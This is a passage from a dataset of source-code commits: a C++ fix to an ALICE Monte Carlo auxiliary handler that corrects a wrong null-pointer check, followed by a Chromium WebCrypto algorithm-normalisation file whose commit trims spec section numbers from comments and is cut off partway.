TFile::Open(fn, \"READ\");\n if (!fFile) { \n AliErrorF(\"Failed to open %s\", fn.Data());\n return false;\n }\n\n return true;\n}\n\n\/\/____________________________________________________________________\nBool_t\nAliMCAuxHandler::LoadEvent(Int_t iev)\n{\n \/\/ Load an event \n \/\/ \n \/\/ @param iev Event number \n \/\/ \n \/\/ @return true on success \n AliDebugF(10,\"AliMCAuxHandler::LoadEvent(%d)\", iev);\n\n Int_t iNew = iev \/ fNEventsPerFile;\n if (iNew != fFileNumber) { \n fFileNumber = iNew;\n if (!OpenFile(fFileNumber)) return false;\n }\n if (!fFile) return false;\n\n TString folder = TString::Format(\"Event%d\", iev);\n fFile->GetObject(folder, fDir);\n if (!fDir) { \n AliWarningF(\"Folder %s not found in file\", folder.Data());\n return false;\n }\n\n fDir->GetObject(fTreeName, fTree);\n if (!fTree) { \n AliWarningF(\"Folder %s does not contain the %s tree %s\", \n\t\tfolder.Data(), GetTitle(), fTreeName.Data());\n return false;\n }\n\n fTree->SetBranchAddress(GetName(), &fArray);\n return true;\n}\n\n\/\/____________________________________________________________________\nInt_t\nAliMCAuxHandler::GetNEntry() const\n{\n if (!fTree) return 0;\n return fTree->GetEntries();\n}\n\n\/\/____________________________________________________________________\nTClonesArray*\nAliMCAuxHandler::GetEntryArray(Int_t entry)\n{\n if (!fTree) return 0;\n if (!fArray) return 0;\n if (entry < 0 || entry >= fTree->GetEntries()) { \n AliErrorF(\"Entry # %d out of bounds [0,%lld]\", \n\t entry, fTree->GetEntries());\n return 0;\n }\n fArray->Clear();\n \n if (fTree->GetEntry(entry) <= 0) return 0;\n\n return fArray;\n}\n \n\n\/\/____________________________________________________________________\nAliMCAuxHandler*\nAliMCAuxHandler::Create(const char* name, const char* what)\n{\n AliAnalysisManager* mgr = AliAnalysisManager::GetAnalysisManager();\n if (!mgr) { \n ::Error(\"AliMCAuxHandler::Create\", \"No analysis manager\");\n return 0;\n }\n \n AliVEventHandler* vmc = mgr->GetMCtruthEventHandler();\n if (!vmc) { \n ::Error(\"AliMCAuxHandler::Create\", \"No MC truth handler\");\n return 0;\n }\n \n AliMCEventHandler* mc = dynamic_cast<AliMCEventHandler*>(vmc);\n if (!mc) { \n ::Error(\"AliMCAuxHandler::Create\", \n\t \"MC truth handler not a AliMCEventHandler, but %s\", \n\t vmc->ClassName());\n return 0;\n }\n\n AliMCAuxHandler* ret = new AliMCAuxHandler(name, what, mc);\n mc->AddSubsidiaryHandler(ret);\n \n return ret;\n}\n\n\/\/____________________________________________________________________\nTClonesArray*\nAliMCAuxHandler::GetParticleArray(AliMCAuxHandler* handler, \n\t\t\t\t Int_t particle)\n{\n if (!handler) { \n ::Error(\"AliMCAuxHandler::GetArray\", \"No handler passed\");\n return 0;\n }\n\n AliMCEventHandler* mc = handler->GetParent();\n if (!mc) {\n ::Error(\"AliMCAuxHandler::GetArray\", \"Handler has no parent\");\n return 0;\n }\n \n AliMCEvent* event = mc->MCEvent();\n if (!event) { \n ::Error(\"AliMCAuxHandler::GetArray\", \"No MC event\");\n return 0;\n }\n \n AliStack* stack = event->Stack();\n if (!event) { \n ::Error(\"AliMCAuxHandler::GetArray\", \"Event has no stack\");\n return 0;\n }\n\n handler->GetArray()->Clear();\n TTree* tree = handler->GetTree();\n if (!tree) {\n ::Error(\"AliMCAuxHandler::GetArray\", \"Handler has no tree\");\n return 0;\n }\n \n Int_t treeIdx = stack->TreeKEntry(particle);\n if (treeIdx < 0 || treeIdx >= tree->GetEntries()) { \n ::Error(\"AliMCAuxHandler::GetArray\", \n\t \"Index %d of %d out of bounds [0,%lld]\", treeIdx, particle, \n\t tree->GetEntries()-1);\n return 0;\n }\n \n tree->GetEntry(treeIdx);\n \n return handler->GetArray();\n}\n\n \n \n\/\/____________________________________________________________________\n\/\/\n\/\/ EOF\n\/\/\n<commit_msg>Fixed check of returned pointer to AliStack object<commit_after>#include \"AliMCAuxHandler.h\"\n#include \"AliAnalysisManager.h\"\n#include <TError.h>\n#include <AliLog.h>\n#include <TFile.h>\n#include <TClonesArray.h>\n#include <TROOT.h>\n#include <AliStack.h>\n#include <AliMCEvent.h>\n\nClassImp(AliMCAuxHandler)\n#if 0 \/\/ For Emacs - do not remove\n;\n#endif\n\n\/\/____________________________________________________________________\nAliMCAuxHandler::AliMCAuxHandler(const char* name,\n\t\t\t\t const char* what,\n\t\t\t\t AliMCEventHandler* parent)\n : AliMCEventHandler(name, what),\n fParent(parent), \n fFile(0),\n fTree(0),\n fDir(0),\n fArray(0),\n fNEvents(0), \n fNEventsPerFile(0),\n fNEventsInContainer(0),\n fEvent(0), \n fFileNumber(0),\n fTreeName(\"\"),\n fFileBase(\"\")\n{\n \/\/ Constructor \n \/\/ \n \/\/ Parameters: \n \/\/ name The name \n}\n\n\/\/____________________________________________________________________\nTString*\nAliMCAuxHandler::GetParentPath() const\n{\n if (!fParent) { \n AliWarning(\"No parent\");\n return 0;\n }\n return fParent->GetInputPath();\n}\n\n\/\/____________________________________________________________________\nBool_t\nAliMCAuxHandler::Init(Option_t* opt)\n{\n \/\/ Initialize the input\n \/\/ \n \/\/ @param opt Options \n \/\/ \n \/\/ @return true on success \n AliDebugF(10,\"AliMCAuxHandler::Init(\\\"%s\\\")\", opt);\n\n TString option(opt);\n if (option.EqualTo(\"proof\") || option.EqualTo(\"local\")) return true;\n\n TString t = \"Tree\";\n TString b = \"\";\n TClass* cl = gROOT->GetClass(GetTitle());\n if (cl) { \n if (cl->InheritsFrom(\"AliHit\")) { \n t += \"H\";\n b = \"Hits\";\n }\n else if (cl->InheritsFrom(\"AliSDigit\")) {\n t += \"S\";\n b = \"SDigits\";\n }\n else if (cl->InheritsFrom(\"AliDigit\")) {\n t += \"D\";\n b = \"Digits\";\n }\n else \n t = \"\";\n }\n if (!t.IsNull()) fTreeName = t;\n if (!b.IsNull()) fFileBase = b;\n\n\n fArray = new TClonesArray(GetTitle());\n \n TTree* treeE = fParent->GetTree();\n if (!treeE) { \n AliError(\"Parent does not have an events tree\");\n return false;\n }\n\n \/\/ Get number of events in this directory \n fNEventsPerFile = -1;\n fNEvents = treeE->GetEntries();\n fEvent = 0;\n fFileNumber = 0;\n\n if (!OpenFile(fFileNumber)) return false;\n\n return true;\n}\n\/\/____________________________________________________________________\nBool_t\nAliMCAuxHandler::BeginEvent(Long64_t entry)\n{\n \/\/ Called at the beginning of an event \n \/\/ \n \/\/ @param entry Entry in tree \n \/\/ \n \/\/ @return true on success\n AliDebugF(10,\"AliMCAuxHandler::BeginEvent(%lld)\", entry);\n\n if (entry == -1) \n fEvent++;\n else \n fEvent = entry;\n\n if (fEvent >= fNEvents) { \n AliWarningF(\"Event number out of range %d\/%d\", fEvent, fNEvents);\n return false;\n }\n\n if (fNEventsPerFile < 0) {\n TTree* treeK = fParent->TreeK();\n if (!treeK) { \n AliError(\"Parent does not have a kinematics tree\");\n return false;\n }\n \n TFile* fileK = treeK->GetCurrentFile();\n if (!fileK) { \n AliError(\"Kinematics tree has no associated file\");\n return false;\n }\n \/\/ Get the number of events per file \n fNEventsPerFile = fileK->GetNkeys() - fileK->GetNProcessIDs();\n }\n return LoadEvent(fEvent);\n}\n\/\/____________________________________________________________________\nBool_t\nAliMCAuxHandler::Notify(const char* path)\n{\n \/\/ Called when the input file is changed \n \/\/ \n \/\/ @param path New path \n \/\/\n \/\/ @return true on success\n AliDebugF(10,\"AliMCAuxHandler::Notify(\\\"%s\\\")\", path);\n return true;\n}\n\/\/____________________________________________________________________\nBool_t\nAliMCAuxHandler::FinishEvent()\n{\n \/\/ Called at the end of an event \n \/\/ \n \/\/ @return true on success\n AliDebug(10,\"AliMCAuxHandler::FinishEvent()\");\n return true;\n}\n\/\/____________________________________________________________________\nBool_t\nAliMCAuxHandler::Terminate()\n{\n \/\/ Called at the end of a job \n \/\/ \n \/\/ @return true on success \n AliDebug(10,\"AliMCAuxHandler::Terminate()\");\n return true;\n}\n\/\/____________________________________________________________________\nBool_t\nAliMCAuxHandler::TerminateIO()\n{\n \/\/ Called at the end of a sub-job\n \/\/ \n \/\/ @return true on success\n AliDebug(10,\"AliMCAuxHandler::TerminateIO()\");\n return true;\n}\n\n\/\/____________________________________________________________________\nvoid\nAliMCAuxHandler::ResetIO()\n{\n \/\/ Reset the I\/O\n \/\/ \n \/\/\n AliDebug(10,\"AliMCAuxHandler::ResetIO()\");\n\n TString* path = GetParentPath();\n AliDebugF(10,\"Got parent path %s\", path ? path->Data() : \"null\");\n\n if (fFile) { \n delete fFile;\n fFile = 0;\n }\n}\n\/\/____________________________________________________________________\nBool_t\nAliMCAuxHandler::OpenFile(Int_t fileNo)\n{\n TString* path = GetParentPath();\n AliDebugF(10,\"Got parent path %s\", path ? path->Data() : \"null\");\n if (!path) return false;\n\n TString ext(\"\");\n if (fileNo > 0) ext = TString::Format(\"%d\", fileNo);\n\n TString w(GetTitle());\n if (w.EndsWith(\"s\")) w.Chop();\n \n TString fn = TString::Format(\"%s%s.%s%s.root\", \n\t\t\t path->Data(), GetName(), \n\t\t\t fFileBase.Data(), ext.Data());\n Info(\"Init\", \"Opening %s\", fn.Data());\n fFile = TFile::Open(fn, \"READ\");\n if (!fFile) { \n AliErrorF(\"Failed to open %s\", fn.Data());\n return false;\n }\n\n return true;\n}\n\n\/\/____________________________________________________________________\nBool_t\nAliMCAuxHandler::LoadEvent(Int_t iev)\n{\n \/\/ Load an event \n \/\/ \n \/\/ @param iev Event number \n \/\/ \n \/\/ @return true on success \n AliDebugF(10,\"AliMCAuxHandler::LoadEvent(%d)\", iev);\n\n Int_t iNew = iev \/ fNEventsPerFile;\n if (iNew != fFileNumber) { \n fFileNumber = iNew;\n if (!OpenFile(fFileNumber)) return false;\n }\n if (!fFile) return false;\n\n TString folder = TString::Format(\"Event%d\", iev);\n fFile->GetObject(folder, fDir);\n if (!fDir) { \n AliWarningF(\"Folder %s not found in file\", folder.Data());\n return false;\n }\n\n fDir->GetObject(fTreeName, fTree);\n if (!fTree) { \n AliWarningF(\"Folder %s does not contain the %s tree %s\", \n\t\tfolder.Data(), GetTitle(), fTreeName.Data());\n return false;\n }\n\n fTree->SetBranchAddress(GetName(), &fArray);\n return true;\n}\n\n\/\/____________________________________________________________________\nInt_t\nAliMCAuxHandler::GetNEntry() const\n{\n if (!fTree) return 0;\n return fTree->GetEntries();\n}\n\n\/\/____________________________________________________________________\nTClonesArray*\nAliMCAuxHandler::GetEntryArray(Int_t entry)\n{\n if (!fTree) return 0;\n if (!fArray) return 0;\n if (entry < 0 || entry >= fTree->GetEntries()) { \n AliErrorF(\"Entry # %d out of bounds [0,%lld]\", \n\t entry, fTree->GetEntries());\n return 0;\n }\n fArray->Clear();\n \n if (fTree->GetEntry(entry) <= 0) return 0;\n\n return fArray;\n}\n \n\n\/\/____________________________________________________________________\nAliMCAuxHandler*\nAliMCAuxHandler::Create(const char* name, const char* what)\n{\n AliAnalysisManager* mgr = AliAnalysisManager::GetAnalysisManager();\n if (!mgr) { \n ::Error(\"AliMCAuxHandler::Create\", \"No analysis manager\");\n return 0;\n }\n \n AliVEventHandler* vmc = mgr->GetMCtruthEventHandler();\n if (!vmc) { \n ::Error(\"AliMCAuxHandler::Create\", \"No MC truth handler\");\n return 0;\n }\n \n AliMCEventHandler* mc = dynamic_cast<AliMCEventHandler*>(vmc);\n if (!mc) { \n ::Error(\"AliMCAuxHandler::Create\", \n\t \"MC truth handler not a AliMCEventHandler, but %s\", \n\t vmc->ClassName());\n return 0;\n }\n\n AliMCAuxHandler* ret = new AliMCAuxHandler(name, what, mc);\n mc->AddSubsidiaryHandler(ret);\n \n return ret;\n}\n\n\/\/____________________________________________________________________\nTClonesArray*\nAliMCAuxHandler::GetParticleArray(AliMCAuxHandler* handler, \n\t\t\t\t Int_t particle)\n{\n if (!handler) { \n ::Error(\"AliMCAuxHandler::GetArray\", \"No handler passed\");\n return 0;\n }\n\n AliMCEventHandler* mc = handler->GetParent();\n if (!mc) {\n ::Error(\"AliMCAuxHandler::GetArray\", \"Handler has no parent\");\n return 0;\n }\n \n AliMCEvent* event = mc->MCEvent();\n if (!event) { \n ::Error(\"AliMCAuxHandler::GetArray\", \"No MC event\");\n return 0;\n }\n \n AliStack* stack = event->Stack();\n if (!stack) { \n ::Error(\"AliMCAuxHandler::GetArray\", \"Event has no stack\");\n return 0;\n }\n\n handler->GetArray()->Clear();\n TTree* tree = handler->GetTree();\n if (!tree) {\n ::Error(\"AliMCAuxHandler::GetArray\", \"Handler has no tree\");\n return 0;\n }\n \n Int_t treeIdx = stack->TreeKEntry(particle);\n if (treeIdx < 0 || treeIdx >= tree->GetEntries()) { \n ::Error(\"AliMCAuxHandler::GetArray\", \n\t \"Index %d of %d out of bounds [0,%lld]\", treeIdx, particle, \n\t tree->GetEntries()-1);\n return 0;\n }\n \n tree->GetEntry(treeIdx);\n \n return handler->GetArray();\n}\n\n \n \n\/\/____________________________________________________________________\n\/\/\n\/\/ EOF\n\/\/\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (C) 2013 Google Inc. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following disclaimer\n * in the documentation and\/or other materials provided with the\n * distribution.\n * * Neither the name of Google Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"config.h\"\n#include \"modules\/crypto\/NormalizeAlgorithm.h\"\n\n#include \"bindings\/v8\/Dictionary.h\"\n#include \"bindings\/v8\/ExceptionState.h\"\n#include \"core\/dom\/ExceptionCode.h\"\n#include \"public\/platform\/WebCryptoAlgorithm.h\"\n#include \"public\/platform\/WebCryptoAlgorithmParams.h\"\n#include \"wtf\/ArrayBuffer.h\"\n#include \"wtf\/ArrayBufferView.h\"\n#include \"wtf\/HashMap.h\"\n#include \"wtf\/Uint8Array.h\"\n#include \"wtf\/Vector.h\"\n#include \"wtf\/text\/StringHash.h\"\n\nnamespace WebCore {\n\nnamespace {\n\nstruct AlgorithmNameMapping {\n const char* const algorithmName;\n WebKit::WebCryptoAlgorithmId algorithmId;\n};\n\n\/\/ Indicates that the algorithm doesn't support the specified operation.\nconst int UnsupportedOp = -1;\n\n\/\/ Either UnsupportedOp, or a value from WebKit::WebCryptoAlgorithmParamsType\ntypedef int AlgorithmParamsForOperation;\n\nstruct OperationParamsMapping {\n WebKit::WebCryptoAlgorithmId algorithmId;\n AlgorithmOperation operation;\n AlgorithmParamsForOperation params;\n};\n\nconst AlgorithmNameMapping algorithmNameMappings[] = {\n {\"AES-CBC\", WebKit::WebCryptoAlgorithmIdAesCbc},\n {\"HMAC\", WebKit::WebCryptoAlgorithmIdHmac},\n {\"RSASSA-PKCS1-v1_5\", WebKit::WebCryptoAlgorithmIdRsaSsaPkcs1v1_5},\n {\"SHA-1\", WebKit::WebCryptoAlgorithmIdSha1},\n {\"SHA-224\", WebKit::WebCryptoAlgorithmIdSha224},\n {\"SHA-256\", WebKit::WebCryptoAlgorithmIdSha256},\n {\"SHA-384\", WebKit::WebCryptoAlgorithmIdSha384},\n {\"SHA-512\", WebKit::WebCryptoAlgorithmIdSha512},\n};\n\n\/\/ What operations each algorithm supports, and what parameters it expects.\nconst OperationParamsMapping operationParamsMappings[] = {\n \/\/ AES-CBC (section 18.10.)\n {WebKit::WebCryptoAlgorithmIdAesCbc, Decrypt, WebKit::WebCryptoAlgorithmParamsTypeAesCbcParams},\n {WebKit::WebCryptoAlgorithmIdAesCbc, Encrypt, WebKit::WebCryptoAlgorithmParamsTypeAesCbcParams},\n {WebKit::WebCryptoAlgorithmIdAesCbc, GenerateKey, WebKit::WebCryptoAlgorithmParamsTypeAesKeyGenParams},\n {WebKit::WebCryptoAlgorithmIdAesCbc, ImportKey, WebKit::WebCryptoAlgorithmParamsTypeNone},\n\n \/\/ HMAC (section 18.14.)\n {WebKit::WebCryptoAlgorithmIdHmac, Sign, WebKit::WebCryptoAlgorithmParamsTypeHmacParams},\n {WebKit::WebCryptoAlgorithmIdHmac, Verify, WebKit::WebCryptoAlgorithmParamsTypeHmacParams},\n {WebKit::WebCryptoAlgorithmIdHmac, GenerateKey, WebKit::WebCryptoAlgorithmParamsTypeHmacParams},\n {WebKit::WebCryptoAlgorithmIdHmac, ImportKey, WebKit::WebCryptoAlgorithmParamsTypeHmacParams},\n\n \/\/ RSASSA-PKCS1-v1_5 (section 18.4.)\n {WebKit::WebCryptoAlgorithmIdRsaSsaPkcs1v1_5, Sign, WebKit::WebCryptoAlgorithmParamsTypeRsaSsaParams},\n {WebKit::WebCryptoAlgorithmIdRsaSsaPkcs1v1_5, Verify, WebKit::WebCryptoAlgorithmParamsTypeRsaSsaParams},\n {WebKit::WebCryptoAlgorithmIdRsaSsaPkcs1v1_5, GenerateKey, WebKit::WebCryptoAlgorithmParamsTypeRsaKeyGenParams},\n {WebKit::WebCryptoAlgorithmIdRsaSsaPkcs1v1_5, ImportKey, WebKit::WebCryptoAlgorithmParamsTypeNone},\n\n \/\/ SHA-1 (section 18.16.)\n {WebKit::WebCryptoAlgorithmIdSha1, Digest, WebKit::WebCryptoAlgorithmParamsTypeNone},\n\n \/\/ SHA-224 (section 18.16.)\n {WebKit::WebCryptoAlgorithmIdSha224, Digest, WebKit::WebCryptoAlgorithmParamsTypeNone},\n\n \/\/ SHA-256 (section 18.16.)\n {WebKit::WebCryptoAlgorithmIdSha256, Digest, WebKit::WebCryptoAlgorithmParamsTypeNone},\n\n \/\/ SHA-384 (section 18.16.)\n {WebKit::WebCryptoAlgorithmIdSha384, Digest, WebKit::WebCryptoAlgorithmParamsTypeNone},\n\n \/\/ SHA-512 (section 18.16.)\n {WebKit::WebCryptoAlgorithmIdSha512, Digest, WebKit::WebCryptoAlgorithmParamsTypeNone},\n};\n\n\/\/ This structure describes an algorithm and its supported operations.\nstruct AlgorithmInfo {\n AlgorithmInfo()\n : algorithmName(0)\n {\n for (size_t i = 0; i < WTF_ARRAY_LENGTH(paramsForOperation); ++i)\n paramsForOperation[i] = UnsupportedOp;\n }\n\n WebKit::WebCryptoAlgorithmId algorithmId;\n const char* algorithmName;\n AlgorithmParamsForOperation paramsForOperation[NumberOfAlgorithmOperations];\n};\n\n\/\/ AlgorithmRegistry enumerates each of the different algorithms and its\n\/\/ parameters. This describes the same information as the static tables above,\n\/\/ but in a more convenient runtime form.\nclass AlgorithmRegistry {\npublic:\n static const AlgorithmInfo* lookupAlgorithmByName(const String& algorithmName);\n\nprivate:\n AlgorithmRegistry();\n\n \/\/ Algorithm name to ID.\n typedef HashMap<String, WebKit::WebCryptoAlgorithmId, CaseFoldingHash> AlgorithmNameToIdMap;\n AlgorithmNameToIdMap m_algorithmNameToId;\n\n \/\/ Algorithm ID to information.\n AlgorithmInfo m_algorithms[WebKit::NumberOfWebCryptoAlgorithmId];\n};\n\nconst AlgorithmInfo* AlgorithmRegistry::lookupAlgorithmByName(const String& algorithmName)\n{\n DEFINE_STATIC_LOCAL(AlgorithmRegistry, registry, ());\n\n AlgorithmNameToIdMap::const_iterator it = registry.m_algorithmNameToId.find(algorithmName);\n if (it == registry.m_algorithmNameToId.end())\n return 0;\n return ®istry.m_algorithms[it->value];\n}\n\nAlgorithmRegistry::AlgorithmRegistry()\n{\n for (size_t i = 0; i < WTF_ARRAY_LENGTH(algorithmNameMappings); ++i) {\n const AlgorithmNameMapping& mapping = algorithmNameMappings[i];\n m_algorithmNameToId.add(mapping.algorithmName, mapping.algorithmId);\n m_algorithms[mapping.algorithmId].algorithmName = mapping.algorithmName;\n m_algorithms[mapping.algorithmId].algorithmId = mapping.algorithmId;\n }\n\n for (size_t i = 0; i < WTF_ARRAY_LENGTH(operationParamsMappings); ++i) {\n const OperationParamsMapping& mapping = operationParamsMappings[i];\n m_algorithms[mapping.algorithmId].paramsForOperation[mapping.operation] = mapping.params;\n }\n}\n\nPassOwnPtr<WebKit::WebCryptoAlgorithmParams> parseAesCbcParams(const Dictionary& raw)\n{\n RefPtr<ArrayBufferView> iv;\n if (!raw.get(\"iv\", iv) || !iv)\n return nullptr;\n\n if (iv->byteLength() != 16)\n return nullptr;\n\n return adoptPtr(new WebKit::WebCryptoAesCbcParams(static_cast<unsigned char*>(iv->baseAddress()), iv->byteLength()));\n}\n\nPassOwnPtr<WebKit::WebCryptoAlgorithmParams> parseAesKeyGenParams(const Dictionary& raw)\n{\n int32_t length;\n if (!raw.get(\"length\", length))\n return nullptr;\n if (length < 0 || length > 0xFFFF)\n return nullptr;\n return adoptPtr(new WebKit::WebCryptoAesKeyGenParams(length));\n}\n\nbool parseHash(const Dictionary& raw, WebKit::WebCryptoAlgorithm& hash)\n{\n Dictionary rawHash;\n if (!raw.get(\"hash\", rawHash))\n return false;\n\n TrackExceptionState es;\n return normalizeAlgorithm(rawHash, Digest, hash, es);\n}\n\nPassOwnPtr<WebKit::WebCryptoAlgorithmParams> parseHmacParams(const Dictionary& raw)\n{\n WebKit::WebCryptoAlgorithm hash;\n if (!parseHash(raw, hash))\n return nullptr;\n return adoptPtr(new WebKit::WebCryptoHmacParams(hash));\n}\n\nPassOwnPtr<WebKit::WebCryptoAlgorithmParams> parseRsaSsaParams(const Dictionary& raw)\n{\n WebKit::WebCryptoAlgorithm hash;\n if (!parseHash(raw, hash))\n return nullptr;\n return adoptPtr(new WebKit::WebCryptoRsaSsaParams(hash));\n}\n\nPassOwnPtr<WebKit::WebCryptoAlgorithmParams> parseRsaKeyGenParams(const Dictionary& raw)\n{\n \/\/ FIXME: This is losing precision; modulusLength is supposed to be a uint32\n int32_t modulusLength;\n if (!raw.get(\"modulusLength\", modulusLength))\n return nullptr;\n if (modulusLength < 0)\n return nullptr;\n\n RefPtr<Uint8Array> publicExponent;\n if (!raw.get(\"publicExponent\", publicExponent) || !publicExponent)\n return nullptr;\n return adoptPtr(new WebKit::WebCryptoRsaKeyGenParams(modulusLength, static_cast<const unsigned char*>(publicExponent->baseAddress()), publicExponent->byteLength()));\n}\n\nPassOwnPtr<WebKit::WebCryptoAlgorithmParams> parseAlgorithmParams(const Dictionary& raw, WebKit::WebCryptoAlgorithmParamsType type)\n{\n switch (type) {\n case WebKit::WebCryptoAlgorithmParamsTypeNone:\n return nullptr;\n case WebKit::WebCryptoAlgorithmParamsTypeAesCbcParams:\n return parseAesCbcParams(raw);\n case WebKit::WebCryptoAlgorithmParamsTypeAesKeyGenParams:\n return parseAesKeyGenParams(raw);\n case WebKit::WebCryptoAlgorithmParamsTypeHmacParams:\n return parseHmacParams(raw);\n case WebKit::WebCryptoAlgorithmParamsTypeRsaSsaParams:\n return parseRsaSsaParams(raw);\n case WebKit::WebCryptoAlgorithmParamsTypeRsaKeyGenParams:\n return parseRsaKeyGenParams(raw);\n }\n ASSERT_NOT_REACHED();\n return nullptr;\n}\n\nconst AlgorithmInfo* algorithmInfo(const Dictionary& raw, ExceptionState& es)\n{\n String algorithmName;\n if (!raw.get(\"name\", algorithmName)) {\n es.throwDOMException(NotSupportedError);\n return 0;\n }\n\n if (!algorithmName.containsOnlyASCII()) {\n es.throwDOMException(SyntaxError);\n return 0;\n }\n\n const AlgorithmInfo* info = AlgorithmRegistry::lookupAlgorithmByName(algorithmName);\n if (!info) {\n es.throwDOMException(NotSupportedError);\n return 0;\n }\n\n return info;\n}\n\n} \/\/ namespace\n\n\/\/ FIXME: Throw the correct exception types!\n\/\/ This implementation corresponds with:\n\/\/ http:\/\/www.w3.org\/TR\/WebCryptoAPI\/#algorithm-normalizing-rules\nbool normalizeAlgorithm(const Dictionary& raw, AlgorithmOperation op, WebKit::WebCryptoAlgorithm& algorithm, ExceptionState& es)\n{\n const AlgorithmInfo* info = algorithmInfo(raw, es);\n if (!info)\n return false;\n\n if (info->paramsForOperation[op] == UnsupportedOp) {\n es.throwDOMException(NotSupportedError);\n return false;\n }\n\n WebKit::WebCryptoAlgorithmParamsType paramsType = static_cast<WebKit::WebCryptoAlgorithmParamsType>(info->paramsForOperation[op]);\n OwnPtr<WebKit::WebCryptoAlgorithmParams> params = parseAlgorithmParams(raw, paramsType);\n\n if (!params && paramsType != WebKit::WebCryptoAlgorithmParamsTypeNone) {\n es.throwDOMException(NotSupportedError);\n return false;\n }\n\n algorithm = WebKit::WebCryptoAlgorithm(info->algorithmId, info->algorithmName, params.release());\n return true;\n}\n\n} \/\/ namespace WebCore\n<commit_msg>Remove references to specific WebCrypto section number in code comments.<commit_after>\/*\n * Copyright (C) 2013 Google Inc. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met:\n *\n * * Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * * Redistributions in binary form must reproduce the above\n * copyright notice, this list of conditions and the following disclaimer\n * in the documentation and\/or other materials provided with the\n * distribution.\n * * Neither the name of Google Inc. nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"config.h\"\n#include \"modules\/crypto\/NormalizeAlgorithm.h\"\n\n#include \"bindings\/v8\/Dictionary.h\"\n#include \"bindings\/v8\/ExceptionState.h\"\n#include \"core\/dom\/ExceptionCode.h\"\n#include \"public\/platform\/WebCryptoAlgorithm.h\"\n#include \"public\/platform\/WebCryptoAlgorithmParams.h\"\n#include \"wtf\/ArrayBuffer.h\"\n#include \"wtf\/ArrayBufferView.h\"\n#include \"wtf\/HashMap.h\"\n#include \"wtf\/Uint8Array.h\"\n#include \"wtf\/Vector.h\"\n#include \"wtf\/text\/StringHash.h\"\n\nnamespace WebCore {\n\nnamespace {\n\nstruct AlgorithmNameMapping {\n const char* const algorithmName;\n WebKit::WebCryptoAlgorithmId algorithmId;\n};\n\n\/\/ Indicates that the algorithm doesn't support the specified operation.\nconst int UnsupportedOp = -1;\n\n\/\/ Either UnsupportedOp, or a value from WebKit::WebCryptoAlgorithmParamsType\ntypedef int AlgorithmParamsForOperation;\n\nstruct OperationParamsMapping {\n WebKit::WebCryptoAlgorithmId algorithmId;\n AlgorithmOperation operation;\n AlgorithmParamsForOperation params;\n};\n\nconst AlgorithmNameMapping algorithmNameMappings[] = {\n {\"AES-CBC\", WebKit::WebCryptoAlgorithmIdAesCbc},\n {\"HMAC\", WebKit::WebCryptoAlgorithmIdHmac},\n {\"RSASSA-PKCS1-v1_5\", WebKit::WebCryptoAlgorithmIdRsaSsaPkcs1v1_5},\n {\"SHA-1\", WebKit::WebCryptoAlgorithmIdSha1},\n {\"SHA-224\", WebKit::WebCryptoAlgorithmIdSha224},\n {\"SHA-256\", WebKit::WebCryptoAlgorithmIdSha256},\n {\"SHA-384\", WebKit::WebCryptoAlgorithmIdSha384},\n {\"SHA-512\", WebKit::WebCryptoAlgorithmIdSha512},\n};\n\n\/\/ What operations each algorithm supports, and what parameters it expects.\nconst OperationParamsMapping operationParamsMappings[] = {\n \/\/ AES-CBC\n {WebKit::WebCryptoAlgorithmIdAesCbc, Decrypt, WebKit::WebCryptoAlgorithmParamsTypeAesCbcParams},\n {WebKit::WebCryptoAlgorithmIdAesCbc, Encrypt, WebKit::WebCryptoAlgorithmParamsTypeAesCbcParams},\n {WebKit::WebCryptoAlgorithmIdAesCbc, GenerateKey, WebKit::WebCryptoAlgorithmParamsTypeAesKeyGenParams},\n {WebKit::WebCryptoAlgorithmIdAesCbc, ImportKey, 